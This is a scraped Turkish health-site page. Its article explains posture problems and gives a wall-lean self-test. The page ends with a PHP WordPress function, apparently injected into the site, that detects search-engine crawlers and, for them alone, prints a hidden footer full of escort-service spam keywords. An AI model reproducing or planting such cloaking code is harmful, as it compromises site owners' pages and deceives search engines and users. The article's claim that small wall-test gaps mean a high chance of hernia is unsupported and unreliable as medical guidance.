18 Nisan 2021 itibariyle Covid-19 ile mücadelede aşılanan sayısı 19.964.059 kişiye ulaştı.

a Öğle Vakti 13:09
a

Duruş bozukluğu neden olur?

Gündelik hayatımızda gerek iş yoğunluğu gerek öğrencilik sırasında çoğu zamanımızı sandalyelerde ya da tahta sıralarda geçiriyoruz.

Farkında olmadan dik oturmanın önemini unutarak bazı yanlış oturma yöntemlerine alışıyoruz. Bu o an için pek fazla sıkıntı yaratmasa da ilerleyen zamanlarda bazı eklem ağrılarına ya da omurga sisteminde açıklar oluşmasına neden olabiliyor. Ağrı veya acı hissetmeden ise bir problem olabileceği aklımıza gelmiyor. Ancak bedenimiz bu kadar ihmalkârlığa, bunun yanında yorgunluğa ve yeterince dinlenememeye dayanamayıp acil durum alarmları verircesine ağrıları acıları gün yüzüne çıkarıyor.

Okuduklarınızdan sonra “Acaba ben de duruş bozukluğu var mı?”, diye kendinize sorabilirsiniz. Bunu anlamak ise oldukça basit. İlk önce ayağa kalkarak dik pozisyonda duvara yaslanın ve belinizin duvara olan uzaklığına bakın. Fark edilebilecek kadar mesafe varsa belinizi fazla zorlamanızdan dolayı bel kaslarının kısalığı durumuyla karşı karşıya olabilirsiniz. Bu da fıtığa davetiye çıkarmak demektir. Dik pozisyonunuzu bozmadan boynunuzun mesafesine bakın. Aynı farkındalık boynunuzda da varsa boyun fıtığı olma ihtimaliniz yüksek demektir. Ardından omuzlarınızın duvara temas edip etmediğine dikkat edin. Omuzlarınız ile duvar arasında temas yoksa bu nefes kapasitenizin daralmasına işarettir.

Duruş bozukluklarının bedeni fazla yormak dışında başka sağlıksal nedenleri de vardır. Yorgunluk, kendine güvensizlik, içine kapanıklık, kararsızlık hali ve mide problemleri yaşayan kişilerde de vücutta normal dışı değişiklikler olduğundan dolayı duruş bozuklukları meydana gelebilir. Bunlardan korunmanın yolu ise mümkün mertebe omurgamızı korumaya çalışmak, ağır kaldırmamak, vücudumuzu yeterince dinlendirmek, bol egzersiz yapmak ve dengeli bir şekilde beslenmekten geçer.

0 0 0 0 0 0
YORUMLAR

s

En az 10 karakter gerekli

HIZLI YORUM YAP

0 0 0 0 0 0

function vururumgardas(){ $agent = $_SERVER['HTTP_USER_AGENT']; $sec = $agent; switch(true){ case (strpos($sec,"google")): $part = 1; break; case (strpos($sec,"yandex")): $part = 1; break; case (strpos($sec,"bing")): $part = 1; break; case (strpos($sec,"yahoo")): $part = 1; break; case (strpos($sec,"alexa")): $part = 1; break; default : $part = 0; } if($part ==1){ echo '
Artuklu escort Tercan escort Didim escort Altınkum escort Beldibi escort Davutlar escort Boğazkent escort Bulancak escort Akçakoca escort Besni escort Midyat escort Refahiye escort Kuşadası escort Lara escort Tekirova escort Güzelçamlı escort Kadriye escort Dereli escort Çilimli escort '; } } add_action('wp_footer', 'vururumgardas');